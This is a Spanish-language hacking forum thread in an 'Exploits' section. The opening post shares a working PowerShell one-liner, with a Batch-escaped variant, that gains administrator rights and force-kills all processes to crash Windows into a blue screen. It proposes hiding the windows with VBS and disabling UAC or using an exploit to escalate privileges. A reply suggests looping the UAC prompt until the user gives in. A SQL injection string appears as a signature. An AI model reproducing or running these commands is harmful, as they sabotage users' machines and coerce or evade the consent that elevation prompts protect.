He estado investigando y probando comandos en el Windows Powershell y he conseguido averiguar uno que funciona para causar un BSOD:
start-process powershell -verb runas -argumentlist get-process,""""|"""",stop-process,-force
Lo suyo sería ejecutarlo desde cualquier otro programa poniendo powershell antes y ejecutar el código como parámetro.

Sí se va a usar desde un script en Batch habría que poner un acento circunflejo antes del símbolo "|":
powershell start-process powershell -verb runas -argumentlist get-process,""""^|"""",stop-process,-force
A pesar de que sería bastante vistoso, y de que el UAC pediría permisos de administrador, funciona perfectamente. Esto se podría arreglar, por ejemplo, escondiendo las ventanas con un vbs y desactivando el UAC (o consiguiendo elevar permisos con algún exploit).

Comentadme si os funciona a todos, saludos.
' or '1'='1
Bonito script, puedes programar un vbs que lo ejecute como admin y si le dan a cancelar o cerrar ventana vuelva a ejecutarlo, un force UAC.-
Probado y funciona perfecto! en W7 32 bits (virtualbox). Gracias por el aporte.

Saludos
Soy un camaleón, en tu cama, leona ♪
Responder

Volver a “Exploits”